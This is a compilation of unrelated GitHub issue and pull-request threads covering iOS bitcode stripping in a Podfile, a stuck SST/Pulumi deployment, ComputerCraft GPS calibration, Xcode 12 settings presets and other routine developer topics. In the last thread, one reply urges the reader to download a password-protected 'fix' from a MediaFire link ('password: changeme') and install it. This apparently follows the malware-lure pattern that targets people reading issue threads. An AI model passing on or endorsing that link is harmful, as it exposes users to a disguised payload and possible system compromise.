The executable .... BRLMPrinterKit' contains Bitcode

Hi, thanks for your wonderful package, which works perfectly on android, but IOS is pretty painful.

I followed your instructions on youtube, the build succeeds as well, but whenever i try to upload the app to testflight, I am stucked with the following errors:

The executable BLRMPrinterKit contains Bitcode
...

Do you have any suggestions?
Thx

Hi, I tried to use the ios-no-type-b branch. and no I'm stuck with the next error:
This expression has type 'void' and can't be used.
Flutter BluePlus flutterBlue=FlutterBluePlus.instance
// TODO Consider moving this to iOS side.
if (Platform.isIOS) {
//BLE Scanning
FlutterBluePlus flutterBlue = FlutterBluePlus.instance;
  // Start scanning
  flutterBlue.startScan(withServices: [Guid("A76EB9E0-F3AC-4990-84CF-3A94D2426B2B")], timeout: Duration(seconds: timeout~/1000));

  Set<BLEPrinter> foundDevices = {};
  // Listen to scan results
  var subscription = flutterBlue.scanResults.listen((results) {
    for (ScanResult r in results) {
      BLEPrinter found = BLEPrinter(localName: r.device.name);
      if (!foundDevices.contains(found)) {
        foundDevices.add(found);
      }
    }
  });

  return await Future.delayed(Duration(seconds: timeout~/1000), () => foundDevices.toList());
}

Hi @bapla6,
I ran into the same issue, just add this to your Podfile :
post_install do |installer|
  bitcode_strip_path = `xcrun --find bitcode_strip`.chop!

    def strip_bitcode_from_framework(bitcode_strip_path, framework_relative_path)
      framework_path = File.join(Dir.pwd, framework_relative_path)
      command = "#{bitcode_strip_path} #{framework_path} -r -o #{framework_path}"
      puts "Stripping bitcode: #{command}"
      system(command)
    end

    framework_paths = [
      "Pods/BRLMPrinterKit_AB/BRLMPrinterKit/BRLMPrinterKit.framework/BRLMPrinterKit",
    ]

    framework_paths.each do |framework_relative_path|
      strip_bitcode_from_framework(bitcode_strip_path, framework_relative_path)
    end

    installer.pods_project.targets.each do |target|
        flutter_additional_ios_build_settings(target)
      end
end

I was able to build and deliver through TestFlight after this.

Thanks for the support @PrimaelQuemerais!

Thank you @CodeMinion and @PrimaelQuemerais , app is running now :)


Error: Resource Object Empty

Two days ago I mistakenly ran sst dev and instinctually jammed ctr+c as fast as I could to stop it. The command still runs successfully but when I attempt to access my application nothing functions properly due to the Resource object being empty.  This is verified by the contents of my sst-env.d.ts file.
Running sst dev shows no indication of anything wrong, but running it with the --verbose flag gives a hint buried in a much longer error message:
level=ERROR msg="stack run failed" error="failed to run update: exit status 255 Updating (james):
pulumi:pulumi:Stack xxxx-james  warning: Attempting to deploy or update resources with 11 pending operations from previous deployment.

@ updating....
pulumi:pulumi:Stack xxxx-james running warning: Attempting to deploy or update resources with 11 pending operations from previous deployment.
@ u
...
.......
"These resources are in an unknown state because the Pulumi CLI was interrupted while waiting for changes to these resources to complete. You should confirm whether or not the operations listed completed successfully by checking the state of the appropriate provider. For example, if you are using AWS, you can confirm using the AWS Console.    Once you have confirmed the status of the interrupted operations, you can repair your stack using pulumi refresh which will refresh the state from the provider you are using and clear the pending operations if there are any.    Note that pulumi refresh will need to be run interactively to clear pending CREATE operations.   warning: Undefined value (webUrl) will not show as a stack output."
Troubleshooting Steps Taken:

Ran sst remove, sst unlock, and sst refresh.
Created a new stage.
Used the command sst state edit to delete the contents of the pending transaction array.

Any insights or suggestions would be greatly appreciated and I promise I have learned my lesson and will never interrupt sst dev ever again.

Ah interesting. We need to handle this case but I think you might need edit the state.
@thdxr?

This has been fixed by @thdxr in the latest release. Thank you!


Turtles endlessly calibrating.

I've got a mine set up. The turtles are running fine for awhile. Then one stops moving around. When I check on it the "mastermine" tab is looping "Directive : calibrate".
I've reboot Hub and turtles. I've copied over from another working turtle. No changes.
Any advice or direction would be greatly appreciated.
Listed at the bottom are the Mods version and modpack if it helps.
FTB Direwolf20 1.18.2 1.6.1
CC-Tweaked  <IP_ADDRESS>-1.100.6
advancedperipherals-1.18.2-0.7.15b

The issue is, that the GPS part of the code can't find the EXACT location if you have 4 gps computers and 1 repeater. You need to have 6 GPS computers and 1 repeater for it to work. The GPS computer must not share the same x, y, and x coordinates (for example, there cant be 2 pcs with coordinates x:5, y:105, z: 20 and x:200, y:105, z:30, because they have the same y coordinate of 105.) I have provided a picture of the GPS setup that I am using. The marked computer is the repeater, you don't have to worry about that, it can be wherever you want.


Cannot filter by multiple options

Most filter groups should allow multiple selections, adding together filtered spells that share one of the selected options.
Currently spell class does allow multiple selections, but it should show ALL spells matching ANY selection. As of now it will show ONLY spells matching ALL selections.

fixed with https://github.com/nickolusroy/spell-book/pull/11


Update SettingsPresets to include new and modified values as part of Xcode 12

👋
When I open our XcodeGen generated iOS project in Xcode 12, I am greeted with some "Update to recommended settings" warnings for each of my targets:

I gather this relates to the SettingsPresets so I took at look at the template file mentioned in the yaml files in this repo and noticed that there had been a few changes in the latest version of Xcode so I've gone ahead and made the updates. Is this the right thing to do?
For convenience, here is TemplateInfo.plist taken from Xcode 12 (12A7209):

TemplateInfo.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Kind</key>
    <string>Xcode.Xcode3.ProjectTemplateUnitKind</string>
    <key>Identifier</key>
    <string>com.apple.dt.unit.base_ProjectSettings</string>
    <!-- This template defines the basic build settings that should be shared by almost every project. It defines project-level settings as well as target-level settings. But the target settings are declared non-concretely so inheritors will not create a target unless they specify their own concrete target definition. This template also includes some Swift-specific project and target settings that apply when the languageOption option is set to Swift. -->
    <key>Project</key>
    <dict>
        <!-- All these project-level settings are basically settings that we wished were the defaults... but they aren't -->
        <key>SharedSettings</key>
        <dict>
            <key>CLANG_WARN_UNGUARDED_AVAILABILITY</key>
            <string>YES_AGGRESSIVE</string>
            <key>GCC_C_LANGUAGE_STANDARD</key>
            <string>gnu11</string>
            <key>CLANG_CXX_LANGUAGE_STANDARD</key>
            <string>gnu++14</string>
            <key>CLANG_CXX_LIBRARY</key>
            <string>libc++</string>
            <key>GCC_WARN_ABOUT_RETURN_TYPE</key>
            <string>YES_ERROR</string>
            <key>GCC_WARN_UNINITIALIZED_AUTOS</key>
            <string>YES_AGGRESSIVE</string>
            <key>CLANG_WARN_UNREACHABLE_CODE</key>
            <string>YES</string>
            <key>GCC_WARN_UNUSED_VARIABLE</key>
            <string>YES</string>
            <key>GCC_WARN_UNUSED_FUNCTION</key>
            <string>YES</string>
            <key>CLANG_WARN__DUPLICATE_METHOD_MATCH</key>
            <string>YES</string>
            <key>CLANG_WARN_EMPTY_BODY</key>
            <string>YES</string>
            <key>CLANG_WARN_CONSTANT_CONVERSION</key>
            <string>YES</string>
            <key>CLANG_WARN_INT_CONVERSION</key>
            <string>YES</string>
            <key>CLANG_WARN_BOOL_CONVERSION</key>
            <string>YES</string>
            <key>CLANG_WARN_DOCUMENTATION_COMMENTS</key>
            <string>YES</string>
            <key>CLANG_WARN_ENUM_CONVERSION</key>
            <string>YES</string>
            <key>CLANG_WARN_NON_LITERAL_NULL_CONVERSION</key>
            <string>YES</string>
            <key>CLANG_WARN_OBJC_LITERAL_CONVERSION</key>
            <string>YES</string>
            <key>CLANG_WARN_OBJC_ROOT_CLASS</key>
            <string>YES_ERROR</string>
            <key>CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER</key>
            <string>YES</string>
            <key>CLANG_ANALYZER_NONNULL</key>
            <string>YES</string>
            <key>CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION</key>
            <string>YES_AGGRESSIVE</string>
            <key>GCC_WARN_UNDECLARED_SELECTOR</key>
            <string>YES</string>
            <key>GCC_WARN_64_TO_32_BIT_CONVERSION</key>
            <string>YES</string>
            <key>CLANG_WARN_DIRECT_OBJC_ISA_USAGE</key>
            <string>YES_ERROR</string>
            <key>CLANG_WARN_INFINITE_RECURSION</key>
            <string>YES</string>
            <key>CLANG_WARN_SUSPICIOUS_MOVE</key>
            <string>YES</string>
            <key>CLANG_WARN_COMMA</key>
            <string>YES</string>
            <key>CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING</key>
            <string>YES</string>
            <key>CLANG_WARN_STRICT_PROTOTYPES</key>
            <string>YES</string>
            <key>CLANG_WARN_RANGE_LOOP_ANALYSIS</key>
            <string>YES</string>
            <key>CLANG_ENABLE_OBJC_ARC</key>
            <string>YES</string>
            <key>CLANG_ENABLE_MODULES</key>
            <string>YES</string>
            <key>GCC_NO_COMMON_BLOCKS</key>
            <string>YES</string>
            <key>ENABLE_STRICT_OBJC_MSGSEND</key>
            <string>YES</string>
            <key>ALWAYS_SEARCH_USER_PATHS</key>
            <string>NO</string>
            <key>COPY_PHASE_STRIP</key>
            <string>NO</string>
            <key>CLANG_ENABLE_OBJC_WEAK</key>
            <string>YES</string>
            <key>CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF</key>
            <string>YES</string>
            <key>CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS</key>
            <string>YES</string>
            <key>MTL_FAST_MATH</key>
            <string>YES</string>
        </dict>
        <key>Configurations</key>
        <dict>
            <key>Debug</key>
            <dict>
                <key>ONLY_ACTIVE_ARCH</key>
                <string>YES</string>
                <key>GCC_OPTIMIZATION_LEVEL</key>
                <string>0</string>
                <key>GCC_PREPROCESSOR_DEFINITIONS</key>
                <string>DEBUG=1 $(inherited)</string>
                <key>MTL_ENABLE_DEBUG_INFO</key>
                <string>INCLUDE_SOURCE</string>
                <key>ENABLE_TESTABILITY</key>
                <string>YES</string>

                <!-- !!!:20150416 Is it really appropriate for this to be different for Debug
                 -->
                <key>GCC_DYNAMIC_NO_PIC</key>
                <string>NO</string>
                <key>DEBUG_INFORMATION_FORMAT</key>
                <string>dwarf</string>
            </dict>
            <key>Release</key>
            <dict>
                <key>ENABLE_NS_ASSERTIONS</key>
                <string>NO</string>
                <key>MTL_ENABLE_DEBUG_INFO</key>
                <string>NO</string>
                <key>DEBUG_INFORMATION_FORMAT</key>
                <string>dwarf-with-dsym</string>
            </dict>
        </dict>
    </dict>
    <key>Targets</key>
    <array>
        <dict>
            <!-- Declare basic stuff that is true of all targets, but mark this non-concrete so it won't cause actual creation of a target. -->
            <key>Concrete</key>
            <false/>
            <key>Name</key>
            <string>___PACKAGENAME___</string>
            <key>SharedSettings</key>
            <dict>
                <key>PRODUCT_NAME</key>
                <string>$(TARGET_NAME)</string>
            </dict>
            <key>Configurations</key>
            <dict>
                <key>Debug</key>
                <dict/>
                <key>Release</key>
                <dict/>
            </dict>
        </dict>
    </array>
    <key>Options</key>
    <array>
        <dict>
            <key>Identifier</key>
            <string>languageChoice</string>
            <key>Units</key>
            <dict>
                <key>Swift</key>
                <dict>
                    <key>Project</key>
                    <dict>
                        <key>Configurations</key>
                        <dict>
                            <key>Debug</key>
                            <dict>
                                <key>SWIFT_OPTIMIZATION_LEVEL</key>
                                <string>-Onone</string>
                                <key>SWIFT_ACTIVE_COMPILATION_CONDITIONS</key>
                                <string>DEBUG</string>
                            </dict>
                            <key>Release</key>
                            <dict>
                                <key>SWIFT_COMPILATION_MODE</key>
                                <string>wholemodule</string>
                                <key>SWIFT_OPTIMIZATION_LEVEL</key>
                                <string>-O</string>
                            </dict>
                        </dict>
                    </dict>
                    <key>Targets</key>
                    <array>
                        <dict>
                            <!-- Declare basic stuff that is true of all Swift targets, but mark this non-concrete so it won't cause actual creation of a target. -->
                            <key>Concrete</key>
                            <false/>
                            <key>SharedSettings</key>
                            <dict>
                                <key>SWIFT_VERSION</key>
                                <string>5.0</string>
                            </dict>
                        </dict>
                    </array>
                </dict>
            </dict>
        </dict>
    </array>
</dict>
</plist>

Let me know if this is the right approach? I guess CI checks should pick up any potential issue with these settings on Xcode 11? Is that something we need to consider?

If you're making another commit for the tests though, lets change it 👍

@yonaskolb: Done 👍 And the tests are passing as well now 🚀 Thanks


feat(simplify_claims): timeConverter as function

This allows to pass a custom function for the timeConverter option.

thanks @simon04! just published in v6.7.0!


[#3514] improvement(flink-connector): add flink-connector-runtime to build flink connector

What changes were proposed in this pull request?

add flink connector

Why are the changes needed?
Fix: #3514
Does this PR introduce any user-facing change?

no

How was this patch tested?

local test

@FANNG1 PTAL. Thanks.

Hi @coolderli without this runtime jar, how do we run Flink Gravitino connector previously?

@jerryshao Just use the flink connector jar. But there are some conflicts here. Therefore, a shaded operation was performed in the runtime.

LGTM, except minor comments, @coolderli could you check it again?

LGTM

@coolderli , thanks for your work!


Dex 460 more fields for individual API

Small PR to add a few fields to the Individual API response per @brmscheiner 's request. New response should look a little something like this:
{
   "result":{
      "timeOfDeath":"0",
      "names":{
         "defaultName":"Wilbur"
      },
      "comments":"",
      "timeOfBirth":"0",
      "encounters":[
         {
            "customFields":{

            },
            "locationId":"Antarctica",
            "decimalLongitude":"25.9999",
            "decimalLatitude":"25.9999",
            "verbatimLocality":"Antarctica",
            "id":"91e3c6ed-c8e6-440c-b51c-2625d5d0c9bd",
            "time":"2010-01-01T01:01:01Z",
            "version":1631840207834
         }
      ],
      "customFields":{

      },
      "sex":"unknown",
      "id":"77dddd71-5a40-4a35-945f-0c7dec00af6b"
   },
   "success":true,
   "transactionId":"07fc3a59-f520-46fb-9916-58db7fee33ca",
   "updated":"2021-09-17T00:56:47.918298+00:00",
   "encounters":[
      {
         "hasEdit":true,
         "owner":{
            "full_name":"First Middle Last",
            "guid":"5ccd038c-290c-435e-9204-4f34d7221376"
         },
         "sighting":"9cdbd367-bcd0-4219-86e4-6d2dce368a76",
         "asset_group_sighting_encounter_guid":"dbab828b-3731-4352-be63-b43124dd7599",
         "hasView":true,
         "submitter":{
            "full_name":"First Middle Last",
            "guid":"5ccd038c-290c-435e-9204-4f34d7221376"
         },
         "guid":"91e3c6ed-c8e6-440c-b51c-2625d5d0c9bd"
      }
   ],
   "hasEdit":true,
   "hasView":true,
   "featuredAssetGuid":"None",
   "guid":"77dddd71-5a40-4a35-945f-0c7dec00af6b",
   "created":"2021-09-17T00:56:47.918279+00:00"
}

the encounters are in there twice!

Resolution to my earlier problem ended up being adding the "encounters" array to 'dump_only'. It certainly should be read only in this API call. What an unhelpful error message that was, though!

the encounters are in there twice!

@brmscheiner Holy cow, you are right. The EDM and Houston sections are separate. Will fix.

@naknomum Is the split between EDM and Houston data why Sighting still has an augment_edm_json method?

@naknomum Is the split between EDM and Houston data why Sighting still has an augment_edm_json method?
Or is this a reason to pull EDM data out of the 'result' block?

@colinwkingen  - i think howard and karen look at this here, when howard did this augment-to-schema conversion.  basically -- if i am reading it correctly! -- it is because the folding together of edm/houston stuff was more complex than could be handled just by schema.

the encounters are in there twice!

The first one is the EDM data for the encounters. The second is the Houston Data for the encounters.
The question is, do we want to merge them all into one so the frontend doesn't need to know the distinction?

@naknomum Is the split between EDM and Houston data why Sighting still has an augment_edm_json method?
Or is this a reason to pull EDM data out of the 'result' block?

@colinwkingen - i think howard and karen look at this here, when howard did this augment-to-schema conversion. basically -- if i am reading it correctly! -- it is because the folding together of edm/houston stuff was more complex than could be handled just by schema.

Ah, that's what I was afraid of. Will make a wrapper method for Individual.

/rebase


Handle multiple sessions

Hi,
I would like to test the repercussion of an action from a user to another, say for a chat for exemple.
How should i handle that ? I was planning to use multiple puppeteer browser in globalSetup but i've found that in global.js browser is a singleton.
Thanks for any help.

Hi @flotos, you can do that using context.

Create an incognito browser context
Create a new page on this context
Switch between your pages into your test


Add ignore_label option to softmax_cross_entropy

I added ignore_label argument to softmax_cross_entropy.

Thank you. I fixed it.

LGTM


SAMZA-2193: Fix unit-test failure after making rate limiter as a required config

A recent code merge makes rate limiter as a required config. It break some
new tests that are added after that PR is created and checked in before that PR is commited.

@weisong44  Please help merge. Thanks

@dnishimura  FYI

@dnishimura FYI

Thanks!


h1 in transclusion is styled more prominently than h1 in containing page

See screenshot:

Both Week and Goals are h1s

Yep, this needs CSS adjustment.

Do we prefer the bigger h1 or the smaller one? I like the bigger one
because h1 should jump out of the page. The normal version can get confused
with h2. I often can't tell that type of header I am using
On Tue, Jul 23, 2024, 12:56 AM Zef Hemel @.***> wrote:

Yep, this needs CSS adjustment.
—
Reply to this email directly, view it on GitHub
https://github.com/silverbulletmd/silverbullet/issues/971#issuecomment-2244252067,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFC4R2RLXDM7LJ2LNNUCUTTZNXO7RAVCNFSM6AAAAABLJIHG5GVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDENBUGI2TEMBWG4
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Personally I like the current header sizing, h1 below size options are these: https://github.com/silverbulletmd/silverbullet/blob/main/web/styles/editor.scss#L35
If they'd get any bigger like in the Live Preview version they'd get bigger than the actual page name at the top, which doesn't seem right.


help please

@beecave-homelab I ran 'docker-compose build' and got this:

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

You can try the updated version or pull the docker image.